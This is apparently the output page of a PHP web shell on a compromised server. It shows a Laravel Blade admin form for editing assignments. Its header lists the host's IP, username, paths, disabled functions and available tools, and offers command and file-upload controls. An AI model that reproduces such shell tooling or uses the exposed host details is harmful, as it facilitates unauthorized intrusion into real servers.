Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/celkcksm/cms.ncriptech.com/resources/views/admin/assignment/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
@extends('admin.layouts.master') @section('title', $title) @section('content') <!-- Start Content--> <div class="main-body"> <div class="page-wrapper"> <!-- [ Main Content ] start --> <div class="row"> <!-- [ Card ] start --> <div class="col-sm-12"> <div class="card"> <div class="card-header"> <h5>{{ __('modal_edit') }} {{ $title }}</h5> </div> <div class="card-block"> <a href="{{ route($route.'.index') }}" class="btn btn-primary"><i class="fas fa-arrow-left"></i> {{ __('btn_back') }}</a> <a href="{{ route($route.'.edit', $row->id) }}" class="btn btn-info"><i class="fas fa-sync-alt"></i> {{ __('btn_refresh') }}</a> </div> <form class="needs-validation" novalidate action="{{ route($route.'.update', [$row->id]) }}" method="post" enctype="multipart/form-data"> @csrf @method('PUT') <div class="card-block"> <div class="row"> <!-- Form Start --> <div class="form-group col-md-8"> <label for="title">{{ __('field_title') }} <span>*</span></label> <input type="text" class="form-control" name="title" id="title" value="{{ $row->title }}" required> <div class="invalid-feedback"> {{ __('required_field') }} {{ __('field_title') }} </div> </div> <div class="form-group col-md-4"> <label for="total_marks" class="form-label">{{ __('field_total_marks') }} <span>*</span></label> <input type="text" class="form-control autonumber" name="total_marks" id="total_marks" value="{{ round($row->total_marks, 2) }}" required> <div class="invalid-feedback"> {{ __('required_field') }} {{ __('field_total_marks') }} </div> </div> <div class="form-group col-md-4"> <label for="start_date">{{ __('field_submission') }} {{ __('field_start_date') }} <span>*</span></label> <input type="date" class="form-control" name="start_date" id="start_date" value="{{ $row->start_date }}" readonly required> <div class="invalid-feedback"> {{ __('required_field') }} {{ __('field_start_date') }} </div> </div> <div class="form-group col-md-4"> <label for="end_date">{{ __('field_submission') }} {{ __('field_end_date') }} <span>*</span></label> <input type="date" class="form-control date" name="end_date" id="end_date" value="{{ $row->end_date }}" required> <div class="invalid-feedback"> {{ __('required_field') }} {{ __('field_end_date') }} </div> </div> <div class="form-group col-md-4"> <label for="attach">{{ __('field_attach') }}</label> <input type="file" class="form-control" name="attach" id="attach" value="{{ old('attach') }}"> <div class="invalid-feedback"> {{ __('required_field') }} {{ __('field_attach') }} </div> </div> <div class="form-group col-md-12"> <label for="description">{{ __('field_description') }}</label> <textarea class="form-control texteditor" name="description" id="description">{{ $row->description }}</textarea> <div class="invalid-feedback"> {{ __('required_field') }} {{ __('field_description') }} </div> </div> <!-- Form End --> </div> </div> <div class="card-footer"> <button type="submit" class="btn btn-success"><i class="fas fa-check"></i> {{ __('btn_update') }}</button> </div> </form> </div> </div> <!-- [ Card ] end --> </div> <!-- [ Main Content ] end --> </div> </div> <!-- End Content--> @endsection